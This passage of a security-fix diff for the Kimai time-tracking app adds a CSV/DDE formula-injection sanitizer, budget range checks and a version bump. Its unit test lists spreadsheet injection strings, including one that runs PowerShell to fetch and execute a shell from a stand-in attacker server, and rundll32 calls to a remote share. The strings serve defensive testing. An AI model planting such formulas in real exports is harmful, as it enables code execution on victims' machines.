    +            sprintf('Congratulations! Successfully installed %s version %s', Constants::SOFTWARE, Constants::VERSION)
             );
     
             return 0;
    
  • src/Command/UpdateCommand.php+2 2 modified
    @@ -121,15 +121,15 @@ protected function execute(InputInterface $input, OutputInterface $output)
             if ($cacheResult !== 0) {
                 $io->warning(
                     [
    -                    sprintf('Updated %s to version %s (%s) but the cache could not be rebuilt.', Constants::SOFTWARE, Constants::VERSION, Constants::STATUS),
    +                    sprintf('Updated %s to version %s but the cache could not be rebuilt.', Constants::SOFTWARE, Constants::VERSION),
                         'Please run the cache commands manually:',
                         'bin/console cache:clear --env=' . $environment . PHP_EOL .
                         'bin/console cache:warmup --env=' . $environment
                     ]
                 );
             } else {
                 $io->success(
    -                sprintf('Congratulations! Successfully updated %s to version %s (%s)', Constants::SOFTWARE, Constants::VERSION, Constants::STATUS)
    +                sprintf('Congratulations! Successfully updated %s to version %s', Constants::SOFTWARE, Constants::VERSION)
                 );
             }
     
    
  • src/Command/VersionCommand.php+4 3 modified
    @@ -31,9 +31,10 @@ protected function configure()
                 ->setDescription('Receive version information')
                 ->setHelp('This command allows you to fetch various version information about Kimai.')
                 ->addOption('name', null, InputOption::VALUE_NONE, 'Display the major release name')
    -            ->addOption('candidate', null, InputOption::VALUE_NONE, 'Display the current version candidate (e.g. "stable" or "dev")')
                 ->addOption('short', null, InputOption::VALUE_NONE, 'Display the version only')
    -            ->addOption('semver', null, InputOption::VALUE_NONE, 'Semantical versioning (SEMVER) compatible version string')
    +            // @deprecated since 1.14.1
    +            ->addOption('candidate', null, InputOption::VALUE_NONE, 'DEPRECATED: Display the current version candidate (e.g. "stable" or "dev")')
    +            ->addOption('semver', null, InputOption::VALUE_NONE, 'DEPRECATED: Semantical versioning (SEMVER) compatible version string')
             ;
         }
     
    @@ -68,7 +69,7 @@ protected function execute(InputInterface $input, OutputInterface $output)
                 return 0;
             }
     
    -        $io->writeln(Constants::SOFTWARE . ' - ' . Constants::VERSION . ' ' . Constants::STATUS . ' (' . Constants::NAME . ') by Kevin Papst and contributors.');
    +        $io->writeln(Constants::SOFTWARE . ' ' . Constants::VERSION . ' by Kevin Papst and contributors.');
     
             return 0;
         }
    
  • src/Constants.php+2 2 modified
    @@ -17,11 +17,11 @@ class Constants
         /**
          * The current release version
          */
    -    public const VERSION = '1.14';
    +    public const VERSION = '1.14.1';
         /**
          * The current release: major * 10000 + minor * 100 + patch
          */
    -    public const VERSION_ID = 11400;
    +    public const VERSION_ID = 11401;
         /**
          * The current release status, either "stable" or "dev"
          */
    
  • src/Entity/Activity.php+3 1 modified
    @@ -135,11 +135,12 @@ class Activity implements EntityWithMetaFields
          * @ Exporter\Expose(label="label.budget")
          *
          * @ORM\Column(name="budget", type="float", nullable=false)
    +     * @Assert\Range(min=0.00, max=900000000000.00)
          * @Assert\NotNull()
          */
         private $budget = 0.00;
         /**
    -     * The time budget in seconds, will be be zero if unconfigured.
    +     * The time budget in seconds, will be zero if unconfigured.
          *
          * @var int
          *
    @@ -149,6 +150,7 @@ class Activity implements EntityWithMetaFields
          * @ Exporter\Expose(label="label.timeBudget", type="duration")
          *
          * @ORM\Column(name="time_budget", type="integer", nullable=false)
    +     * @Assert\Range(min=0, max=2145600000)
          * @Assert\NotNull()
          */
         private $timeBudget = 0;
    
  • src/Entity/Customer.php+3 1 modified
    @@ -266,11 +266,12 @@ class Customer implements EntityWithMetaFields
          * @ Exporter\Expose(label="label.budget")
          *
          * @ORM\Column(name="budget", type="float", nullable=false)
    +     * @Assert\Range(min=0.00, max=900000000000.00)
          * @Assert\NotNull()
          */
         private $budget = 0.00;
         /**
    -     * The time budget in seconds, will be be zero if not configured.
    +     * The time budget in seconds, will be zero if not configured.
          *
          * @var int
          *
    @@ -280,6 +281,7 @@ class Customer implements EntityWithMetaFields
          * @ Exporter\Expose(label="label.timeBudget", type="duration")
          *
          * @ORM\Column(name="time_budget", type="integer", nullable=false)
    +     * @Assert\Range(min=0, max=2145600000)
          * @Assert\NotNull()
          */
         private $timeBudget = 0;
    
  • src/Entity/Project.php+3 1 modified
    @@ -207,11 +207,12 @@ class Project implements EntityWithMetaFields
          * @ Exporter\Expose(label="label.budget")
          *
          * @ORM\Column(name="budget", type="float", nullable=false)
    +     * @Assert\Range(min=0.00, max=900000000000.00)
          * @Assert\NotNull()
          */
         private $budget = 0.00;
         /**
    -     * The time budget in seconds, will be be zero if not configured.
    +     * The time budget in seconds, will be zero if not configured.
          *
          * @var int
          *
    @@ -221,6 +222,7 @@ class Project implements EntityWithMetaFields
          * @ Exporter\Expose(label="label.timeBudget", type="duration")
          *
          * @ORM\Column(name="time_budget", type="integer", nullable=false)
    +     * @Assert\Range(min=0, max=2145600000)
          * @Assert\NotNull()
          */
         private $timeBudget = 0;
    
  • src/EventSubscriber/Actions/AbstractTimesheetSubscriber.php+0 4 modified
    @@ -20,10 +20,6 @@ protected function timesheetActions(PageActionsEvent $event, string $routeListin
     
             /** @var Timesheet $timesheet */
             $timesheet = $payload['timesheet'];
    -        if (!$event->isIndexView()) {
    -            $event->addBack($this->path($routeListing));
    -        }
    -
             if ($timesheet->getId() !== null) {
                 if ($this->isGranted('edit', $timesheet)) {
                     $class = $event->isView('edit') ? '' : 'modal-ajax-form';
    
  • src/EventSubscriber/Actions/PermissionsSubscriber.php+0 5 modified
    @@ -20,11 +20,6 @@ public static function getActionName(): string
     
         public function onActions(PageActionsEvent $event): void
         {
    -        // the "create role" page
    -        if (!$event->isIndexView() && $this->isGranted('role_permissions')) {
    -            //$event->addBack($this->path('admin_user_permissions'));
    -        }
    -
             if ($this->isGranted('role_permissions')) {
                 $event->addCreate($this->path('admin_user_roles'), !$event->isView('role'));
             }
    
  • src/EventSubscriber/Actions/TagSubscriber.php+0 4 modified
    @@ -37,10 +37,6 @@ public function onActions(PageActionsEvent $event): void
                 $name = $tag->getName();
             }
     
    -        if (!$event->isIndexView() && $this->isGranted('view_tag')) {
    -            //$event->addBack($this->path('tags'));
    -        }
    -
             if ($id === null) {
                 return;
             }
    
  • src/EventSubscriber/Actions/TeamSubscriber.php+0 4 modified
    @@ -26,10 +26,6 @@ public function onActions(PageActionsEvent $event): void
             /** @var Team $team */
             $team = $payload['team'];
     
    -        if (!$event->isIndexView() && $this->isGranted('view_tag')) {
    -            //$event->addBack($this->path('admin_team'));
    -        }
    -
             if ($team->getId() === null) {
                 return;
             }
    
  • src/Export/Base/AbstractSpreadsheetRenderer.php+11 4 modified
    @@ -20,6 +20,7 @@
     use App\Repository\Query\CustomerQuery;
     use App\Repository\Query\TimesheetQuery;
     use App\Twig\LocaleFormatExtensions;
    +use App\Utils\StringHelper;
     use DateTime;
     use PhpOffice\PhpSpreadsheet\Cell\DataType;
     use PhpOffice\PhpSpreadsheet\Shared\Date;
    @@ -80,6 +81,7 @@ abstract class AbstractSpreadsheetRenderer
             'description' => [
                 'maxWidth' => 50,
                 'wrapText' => false,
    +            'sanitizeDDE' => true,
             ],
             'exported' => [],
             'billable' => [],
    @@ -337,15 +339,21 @@ protected function getColumns(array $exportItems, TimesheetQuery $query, array $
             if (isset($columns['description']) && !isset($columns['description']['render'])) {
                 $maxWidth = \array_key_exists('maxWidth', $columns['description']) ? \intval($columns['description']['maxWidth']) : null;
                 $wrapText = \array_key_exists('wrapText', $columns['description']) ? (bool) $columns['description']['wrapText'] : false;
    +            $sanitizeText = \array_key_exists('sanitizeDDE', $columns['description']) ? (bool) $columns['description']['sanitizeDDE'] : true;
     
                 // This column has a column-only formatter to set the maximum width of a column.
                 // It needs to be executed once, so we use this as a flag on when to skip it.
                 $isColumnFormatted = false;
     
    -            $columns['description']['render'] = function (Worksheet $sheet, int $row, int $column, ExportItemInterface $entity) use (&$isColumnFormatted, $maxWidth, $wrapText) {
    +            $columns['description']['render'] = function (Worksheet $sheet, int $row, int $column, ExportItemInterface $entity) use (&$isColumnFormatted, $maxWidth, $wrapText, $sanitizeText) {
                     $cell = $sheet->getCellByColumnAndRow($column, $row);
    +                $desc = $entity->getDescription();
     
    -                $cell->setValueExplicit($entity->getDescription(), DataType::TYPE_STRING);
    +                if ($sanitizeText && null !== $desc) {
    +                    $desc = StringHelper::sanitizeDDE($desc);
    +                }
    +
    +                $cell->setValueExplicit($desc, DataType::TYPE_STRING);
     
                     // Apply wrap text if configured
                     if ($wrapText) {
    @@ -355,8 +363,7 @@ protected function getColumns(array $exportItems, TimesheetQuery $query, array $
                     // Apply max width, only needs to be once per column
                     if (!$isColumnFormatted) {
                         if (null !== $maxWidth) {
    -                        $sheet->getColumnDimensionByColumn($column)
    -                            ->setWidth($maxWidth);
    +                        $sheet->getColumnDimensionByColumn($column)->setWidth($maxWidth);
                         }
                         $isColumnFormatted = true;
                     }
    
  • src/Utils/StringHelper.php+21 0 modified
    @@ -11,6 +11,9 @@
     
     final class StringHelper
     {
    +    // @see https://github.com/payloadbox/csv-injection-payloads
    +    private const DDE_PAYLOADS = ['=', '-', '@', '+', "\t", "\n", "\r", "\r\n"];
    +
         public static function ensureMaxLength(?string $string, int $length): ?string
         {
             if (null === $string) {
    @@ -23,4 +26,22 @@ public static function ensureMaxLength(?string $string, int $length): ?string
     
             return $string;
         }
    +
    +    public static function sanitizeDDE(string $text): string
    +    {
    +        $sanitize = false;
    +
    +        if (\in_array($text[0], self::DDE_PAYLOADS)) {
    +            $sanitize = true;
    +        } elseif (stripos($text, 'DDE') !== false) {
    +            $sanitize = true;
    +        }
    +
    +        if ($sanitize) {
    +            // trying to prevent fucking Microsoft "feature" DDE
    +            $text = "' " . $text;
    +        }
    +
    +        return $text;
    +    }
     }
    
  • templates/project/index.html.twig+1 1 modified
    @@ -65,7 +65,7 @@
                         {% endif %}
                     </td>
                     <td class="{{ tables.data_table_column_class(tableName, columns, 'timeBudget') }}">
    -                    {% if entry.hasBudget() %}
    +                    {% if entry.hasTimeBudget() %}
                             {{ entry.timeBudget|duration }}
                         {% else %}
                             &ndash;
    
  • tests/API/StatusControllerTest.php+1 1 modified
    @@ -58,7 +58,7 @@ public function testVersion()
             $this->assertEquals(Constants::VERSION . '-' . Constants::STATUS, $result['semver']);
             $this->assertEquals(Constants::NAME, $result['name']);
             $this->assertEquals(
    -            'Kimai - ' . Constants::VERSION . ' ' . Constants::STATUS . ' (' . Constants::NAME . ') by Kevin Papst and contributors.',
    +            'Kimai ' . Constants::VERSION . ' by Kevin Papst and contributors.',
                 $result['copyright']
             );
         }
    
  • tests/Command/UpdateCommandTest.php+1 1 modified
    @@ -58,7 +58,7 @@ public function testFullRun()
             self::assertStringContainsString('No migrations to execute.', $result);
     
             self::assertStringContainsString(
    -            sprintf('[OK] Congratulations! Successfully updated Kimai to version %s (%s)', Constants::VERSION, Constants::STATUS),
    +            sprintf('[OK] Congratulations! Successfully updated Kimai to version %s', Constants::VERSION),
                 $result
             );
     
    
  • tests/Command/VersionCommandTest.php+3 2 modified
    @@ -47,10 +47,11 @@ public function testVersion(array $options, $result)
         public function getTestData()
         {
             return [
    -            [[], 'Kimai - ' . Constants::VERSION . ' ' . Constants::STATUS . ' (' . Constants::NAME . ') by Kevin Papst and contributors.'],
    +            [[], 'Kimai ' . Constants::VERSION . ' by Kevin Papst and contributors.'],
                 [['--name' => true], Constants::NAME],
    -            [['--candidate' => true], Constants::STATUS],
                 [['--short' => true], Constants::VERSION],
    +            // @deprecated since 1.14.1
    +            [['--candidate' => true], Constants::STATUS],
                 [['--semver' => true], Constants::VERSION . '-' . Constants::STATUS],
             ];
         }
    
  • tests/ConstantsTest.php+0 2 modified
    @@ -27,8 +27,6 @@ public function testBuild()
     
             $expectedId = $major * 10000 + $minor * 100 + $patch;
     
    -        self::assertEquals('1.14', Constants::VERSION, 'Invalid release number');
    -        self::assertTrue(\in_array(Constants::STATUS, ['dev', 'stable']), 'Invalid status');
             self::assertEquals($expectedId, Constants::VERSION_ID, 'Invalid version ID');
         }
     }
    
  • tests/Utils/StringHelperTest.php+26 0 modified
    @@ -28,4 +28,30 @@ public function testEnsureMaxLength()
             self::assertEquals(10, mb_strlen(StringHelper::ensureMaxLength('까깨꺄꺠꺼께껴꼐꼬꽈sssss', 10)));
             self::assertEquals(10, mb_strlen(StringHelper::ensureMaxLength('까깨꺄꺠꺼께껴꼐꼬꽈꼬꽈', 10)));
         }
    +
    +    public function getDdeAttackStrings()
    +    {
    +        yield ['DDE ("cmd";"/C calc";"!A0")A0'];
    +        yield ["@SUM(1+9)*cmd|' /C calc'!A0"];
    +        yield ["-10+20+cmd|' /C calc'!A0"];
    +        yield ["+10+20+cmd|' /C calc'!A0"];
    +        yield ["=10+20+cmd|' /C calc'!A0"];
    +        yield ["=cmd|' /C notepad'!'A1'"];
    +        yield ["=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0"];
    +        yield ["=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1"];
    +        yield ["	=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1"];
    +        yield ["\t=10+20+cmd|' /C calc'!A0"];
    +        yield ["\r=10+20+cmd|' /C calc'!A0"];
    +        yield ["\n=10+20+cmd|' /C calc'!A0"];
    +        yield ["\r\n=10+20+cmd|' /C calc'!A0"];
    +        yield [PHP_EOL . "=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1"];
    +    }
    +
    +    /**
    +     * @dataProvider getDdeAttackStrings
    +     */
    +    public function testSanitizeDde(string $input)
    +    {
    +        self::assertEquals("' " . $input, StringHelper::sanitizeDDE($input));
    +    }
     }
    
  • webpack.config.js+32 22 modified
    @@ -17,14 +17,40 @@ Encore
         .copyFiles({ from: './assets/images', to: 'images/[path][name].[ext]' })
     
         .splitEntryChunks()
    +    .configureSplitChunks(function(splitChunks) {
    +        splitChunks.chunks = 'async';
    +    })
    +
    +    // bug: empty hashes in entrypoints.json
    +    //.enableIntegrityHashes(Encore.isProduction())
    +
         .enableSingleRuntimeChunk()
    -    .enableIntegrityHashes()
         .enableVersioning(Encore.isProduction())
    -
         .enableSourceMaps(!Encore.isProduction())
         .enableBuildNotifications()
     
    -    .enableSassLoader()
    +    .enableSassLoader(function(sassOptions) {}, {
    +        resolveUrlLoader: false
    +    })
    +
    +    // to rewrite the font url() in CSS to be relative.
    +    // https://github.com/symfony/webpack-encore/issues/915#issuecomment-827556896
    +    .configureFontRule(
    +        { type: 'javascript/auto' },
    +        (rule) => {
    +            rule.loader = 'file-loader';
    +            rule.options = { outputPath: 'fonts', name: '[name].[hash:8].[ext]', publicPath: './fonts/' };
    +        }
    +    )
    +
    +    .configureImageRule(
    +        { type: 'javascript/auto' },
    +        (rule) => {
    +            rule.loader = 'file-loader';
    +            rule.options = { outputPath: 'images', name: '[name].[hash:8].[ext]', publicPath: './images/' };
    +        }
    +    )
    +
         .autoProvidejQuery()
     
         // prevent that unused moment locales will be included
    @@ -35,27 +61,11 @@ Encore
             corejs: 3,
         })
     
    -    .configureOptimizeCssPlugin((options) => {
    -        options.cssProcessorPluginOptions = {
    +    .configureCssMinimizerPlugin((options) => {
    +        options.minimizerOptions = {
                 preset: ['default', { discardComments: { removeAll: true } }],
             }
         })
    -
    -    .configureTerserPlugin((options) => {
    -        options.cache = true;
    -        options.terserOptions = {
    -            output: {
    -                comments: false
    -            }
    -        }
    -    })
     ;
     
    -var config = Encore.getWebpackConfig();
    -
    -// this is a hack based on https://github.com/symfony/webpack-encore/issues/88
    -// to rewrite the font url() in CSS to be relative.
    -// if you encounter any problems ... please let me know!
    -config.module.rules[3].options.publicPath = './';
    -
    -module.exports = config;
    +module.exports = Encore.getWebpackConfig();
    
  • yarn.lock+1229 1914 modified

Vulnerability mechanics

Generated on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

4

News mentions

0

No linked articles in our index yet.